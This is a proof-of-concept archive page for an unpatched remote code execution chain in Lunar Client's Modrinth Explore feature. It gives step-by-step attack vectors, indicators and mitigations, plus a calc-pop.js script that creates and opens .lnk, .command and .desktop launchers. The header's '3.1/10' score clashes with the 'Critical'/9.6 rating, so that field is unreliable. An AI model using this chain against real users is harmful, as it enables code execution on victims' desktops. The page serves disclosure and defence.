PoC Archive PoC Archive
Critical None assigned as of 2026-07-03 unpatched

Lunar Client Modrinth Explore Raw-HTML to Local Launcher Execution Chain

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

CVSS 3.1/10
Severity
Critical
CVE
None assigned as of 2026-07-03
Category
binary
Affected product
Lunar Client (Electron desktop application), Modrinth Explore integration
Affected versions
Lunar Client build reviewed via extracted source maps, June 2026
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorybinary
SeverityCritical
CVSS ScoreNot yet scored (source estimates tentative CVSS v3.1 9.6, no CVE/CVSS formally assigned)
StatusIncomplete PoC
Tagslunar-client, electron, minecraft, modrinth, raw-html-injection, ipc, rce, sandbox-escape, launcher-abuse
RelatedN/A

Affected Target

FieldValue
Software / SystemLunar Client (Electron desktop application), Modrinth Explore integration
Versions AffectedLunar Client build reviewed via extracted source maps, June 2026
Language / PlatformJavaScript/Node.js (calc-pop demonstration), Electron/TypeScript renderer+main process chain
Authentication RequiredNo (victim only needs to view/click an attacker-controlled Modrinth project in Lunar Explore)
Network Access RequiredYes (attacker-controlled content must be fetched from Modrinth by the victim’s Lunar Client)

Summary

The chain begins with Lunar Client’s Explore feature rendering attacker-controlled Modrinth project Markdown (project body and version changelog) through ReactMarkdown with the rehypeRaw plugin and no observed HTML sanitizer, allowing raw HTML/script-capable content to execute inside the privileged Explore renderer. That renderer has access to exposed preload APIs and an unrestricted Redux state-sync IPC bridge into the Electron main process, which the researcher shows can be abused to forge or install a malicious Modrinth “profile” whose overrides.gameDirectory points at an attacker-chosen writable directory. When main installs that forged profile, it extracts root-level overrides/* entries from the .mrpack into the chosen directory — a path that the existing unverified-modpack-file warning scanner does not cover, since it only inspects mods/, resourcepacks/, and shaderpacks/. The renderer then calls an external-link API with a file:// URL pointing at the dropped launcher file using a non-restricted initiator, and main’s openExternalLink handler reaches shell.openExternal(), causing the OS to execute the dropped local launcher (e.g., a .lnk on Windows) and achieve code execution as the desktop user. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed, and the researcher explicitly states this is a “high-confidence critical candidate, not yet a fully packaged public Modrinth-to-Lunar end-to-end exploit.”


Vulnerability Details

Root Cause

Multiple individually weak controls compound into a full chain: unsanitized raw-HTML rendering of untrusted Modrinth Markdown in the Explore renderer (markdown.tsx using ReactMarkdown + rehypeRaw), an unrestricted Redux/IPC state-sync bridge granting the renderer influence over main-process profile state, an unauthenticated profile installer that trusts a renderer-forged overrides.gameDirectory, a modpack-extraction routine that writes root-level overrides/* archive entries without restriction, an unverified-file warning scanner that only covers three specific subdirectories, and an openExternalLink handler that permits file:// URLs to reach shell.openExternal() for non-restricted call sites.

Attack Vector

  1. Attacker publishes a Modrinth project whose description/changelog contains raw HTML capable of executing script inside Lunar Client’s Explore renderer via rehypeRaw.
  2. Victim views the malicious project in Lunar Explore, and the embedded HTML executes renderer JavaScript.
  3. Renderer JavaScript uses exposed preload APIs and the Redux state-sync IPC bridge to forge/install a Modrinth provider profile with an attacker-chosen overrides.gameDirectory.
  4. Main process downloads the .mrpack and extracts root-level overrides/* entries (including a launcher file) into the attacker-chosen directory, bypassing the unverified-file warning scanner which only checks mods/, resourcepacks/, and shaderpacks/.
  5. Renderer calls the external-link API with a file:///.../<launcher> URL from a non-restricted initiator.
  6. Main’s openExternalLink handler reaches shell.openExternal(url), and the OS dispatches the dropped local launcher file, executing attacker code as the desktop user — without needing Minecraft to be launched or a JRE/account to be configured.

Impact

Arbitrary code execution as the victim’s desktop user triggered by viewing or clicking a malicious Modrinth project inside Lunar Client, if the live Modrinth-delivery leg is confirmed end-to-end through production infrastructure.


Environment / Lab Setup

Target:   Lunar Client Electron application (Windows/macOS/Linux), Modrinth Explore integration
Attacker: Node.js (for the included calc-pop primitive demonstration only)

Proof of Concept

PoC Script

See calc-pop.js and renderer-chain-skeleton.md in this folder.

1
npm run poc

calc-pop.js validates only the final “drop a local launcher file and have the OS shell open it” execution primitive in isolation, on a local test machine — it does not contact Modrinth or Lunar Client. It writes a marker file, creates a platform-appropriate launcher (.lnk on Windows, .command on macOS, .desktop on Linux), asks the OS shell to open it, and pops a local Calculator app to prove that shell-dispatched local launcher files execute code. renderer-chain-skeleton.md is a non-executable outline of the renderer-side chain (raw HTML → IPC/Redux forgery → profile install) and is not a weaponized payload.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected launcher/shortcut files appearing in Lunar Client profile or override directories after browsing Modrinth content
  • Modrinth projects containing raw HTML/script payloads in their description or changelog fields
  • Endpoint telemetry showing Lunar Client’s main process invoking shell.openExternal on local file paths shortly after Explore page interaction

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory
Interim mitigationSanitize or disable raw HTML rendering in Modrinth Markdown, restrict the IPC/Redux bridge to an explicit action allowlist, validate profile objects at every IPC boundary, extend the unverified-file scanner to cover root-level overrides, and block non-HTTP protocols (file:, ms-*) in openExternalLink

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: lunar-modrinth-chain-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation. The source explicitly describes this as research status “high-confidence critical candidate, not yet a fully packaged public Modrinth-to-Lunar end-to-end exploit” and states the repository intentionally omits a live malicious Modrinth project, a weaponized renderer payload, and a malicious .mrpack — only the final local-execution primitive is demonstrated end-to-end.

calc-pop.js
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/env node
"use strict";

const { existsSync, mkdirSync, writeFileSync, chmodSync } = require("node:fs");
const { join } = require("node:path");
const { spawn, spawnSync } = require("node:child_process");

const outDir = join(__dirname, "poc-output");
mkdirSync(outDir, { recursive: true });

const markerPath = join(outDir, "marker.txt");
writeFileSync(markerPath, "calc-pop-attempted\n", "utf8");

function detached(command, args, options = {}) {
  const child = spawn(command, args, {
    detached: true,
    stdio: "ignore",
    windowsHide: false,
    ...options,
  });
  child.unref();
}

function commandExists(command) {
  if (process.platform === "win32") {
    return spawnSync("where", [command], { stdio: "ignore" }).status === 0;
  }
  return spawnSync("sh", ["-lc", `command -v ${command}`], {
    stdio: "ignore",
  }).status === 0;
}

function windowsShortcutProof() {
  const shortcutPath = join(outDir, "calc-pop.lnk");
  const jscriptPath = join(outDir, "create-shortcut.js");
  const escapedShortcut = shortcutPath.replace(/\\/g, "\\\\");

  writeFileSync(
    jscriptPath,
    [
      'var shell = WScript.CreateObject("WScript.Shell");',
      `var shortcut = shell.CreateShortcut("${escapedShortcut}");`,
      'shortcut.TargetPath = "calc.exe";',
      'shortcut.WindowStyle = 1;',
      "shortcut.Save();",
      "",
    ].join("\r\n"),
    "utf8"
  );

  const created = spawnSync("cscript.exe", ["//nologo", jscriptPath], {
    stdio: "inherit",
    windowsHide: true,
  });
  if (created.status !== 0 || !existsSync(shortcutPath)) {
    throw new Error("Failed to create Windows shortcut proof");
  }

  detached("cmd.exe", ["/c", "start", "", shortcutPath]);
  return shortcutPath;
}

function macLauncherProof() {
  const launcherPath = join(outDir, "calc-pop.command");
  writeFileSync(launcherPath, "#!/bin/sh\nopen -a Calculator\n", "utf8");
  chmodSync(launcherPath, 0o755);
  detached("open", [launcherPath]);
  return launcherPath;
}

function linuxLauncherProof() {
  const calculators = [
    "gnome-calculator",
    "kcalc",
    "qalculate-gtk",
    "mate-calc",
    "galculator",
    "xcalc",
  ];
  const calculator = calculators.find(commandExists);
  if (!calculator) {
    throw new Error(
      `No supported calculator found. Tried: ${calculators.join(", ")}`
    );
  }

  const launcherPath = join(outDir, "calc-pop.desktop");
  writeFileSync(
    launcherPath,
    [
      "[Desktop Entry]",
      "Type=Application",
      "Name=Calc Pop Proof",
      `Exec=${calculator}`,
      "Terminal=false",
      "",
    ].join("\n"),
    "utf8"
  );
  chmodSync(launcherPath, 0o755);

  if (commandExists("xdg-open")) {
    detached("xdg-open", [launcherPath]);
  } else {
    detached(calculator, []);
  }
  return launcherPath;
}

let opened;
if (process.platform === "win32") {
  opened = windowsShortcutProof();
} else if (process.platform === "darwin") {
  opened = macLauncherProof();
} else if (process.platform === "linux") {
  opened = linuxLauncherProof();
} else {
  throw new Error(`Unsupported platform: ${process.platform}`);
}

console.log("marker: calc-pop-attempted");
console.log(`opened: ${opened}`);